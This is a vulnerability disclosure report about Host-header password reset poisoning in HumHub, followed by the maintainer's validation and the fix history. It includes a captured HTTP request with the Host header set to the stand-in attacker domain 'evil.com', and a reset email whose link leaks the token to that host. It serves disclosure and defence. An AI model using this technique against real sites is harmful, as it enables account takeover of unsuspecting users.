Password Reset Poisoning in humhub/humhub

Valid

Reported on

Sep 6th 2022


Description

Humhub uses the HTTP Host-Header in a password reset request to generate the password reset link that is sent to the user in an email without any filters or checks. This allows an attacker to craft a password reset request using a manipulated host header, resulting in reset-token leakage and thus account takeover if the victim clicks the manipulated password reset link.

Proof of Concept

The Proof-of-Concept requires that the webserver ignores the host header. For instance, this is the case with the default Apache configuration without multiple vhosts.

Steps to reproduce on a local Humhub installation:

1. On the login page, click on `Forgot your password?`
2. Enter the victim's email address and the captcha. Intercept the request in Burp
3. Change the Host Header to `evil.com` and forward the request (Screenshot 1)
4. Observe that the password reset link points to the manipulated domain `evil.com` (Screenshot 2)

Manipulated Request

Screenshot 1

Manipulated password reset request:

POST /index.php?r=user%2Fpassword-recovery HTTP/1.1
Host: evil.com
[...]

_csrf=[...]&AccountRecoverPassword%5Bemail%5D=admin%40test.com&AccountRecoverPassword%5BverifyCode%5D=beoadeq

Manipulated Password-Reset Link

Screenshot 2

Password-reset email sent by Humhub:

Password recovery

Hello asd def

Please use the following link wit=
hin the next day to reset your password.
If you don't use this link withi=
n 24 hours, it will expire.

Reset Password: http://evil.com/index.php?=
r=3Duser/password-recovery/reset&token=3Dc536e810-da84-4f8b-9c8c-375e4b0235=
da&guid=3D6a7ad7ef-a91a-4a2c-a13c-52e9decda42a

Impact

The victim receives the manipulated password-reset link in an email. If the victim clicks the link, the password reset token is leaked to the attacker. The attacker is thus able to change the password of the victim's account leading to complete account takeover.

We are processing your report and will contact the humhub team within 24 hours. 3 months ago
We have contacted a member of the humhub team and are waiting to hear back 3 months ago
Lucas Bartholemy modified the Severity from High (7.1) to Medium (4.3) 3 months ago
The researcher has received a minor penalty to their credibility for miscalculating the severity: -1
Lucas Bartholemy validated this vulnerability 3 months ago

Thanks to the report and your work to make HumHub safer.

Usually Web Application Servers are configured so that only e.g. host headers defined in the ServerName reach the application, so this attack will work only in rare cases - so we do not consider the risk as high but ofc as valid.

vautia has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
We have sent a fix follow up to the humhub team. We will try again in 7 days. 3 months ago
Lucas
2 months ago

Maintainer


For your information, since we consider the problem to be rather minor, it will not be fixed until the next major release.

The PR Fix is available here: https://github.com/humhub/humhub/pull/5864

We have sent a second fix follow up to the humhub team. We will try again in 10 days. 2 months ago
Lucas Bartholemy marked this as fixed in 1.13 with commit 7f9d9f 2 months ago
The fix bounty has been dropped
This vulnerability will not receive a CVE
to join this conversation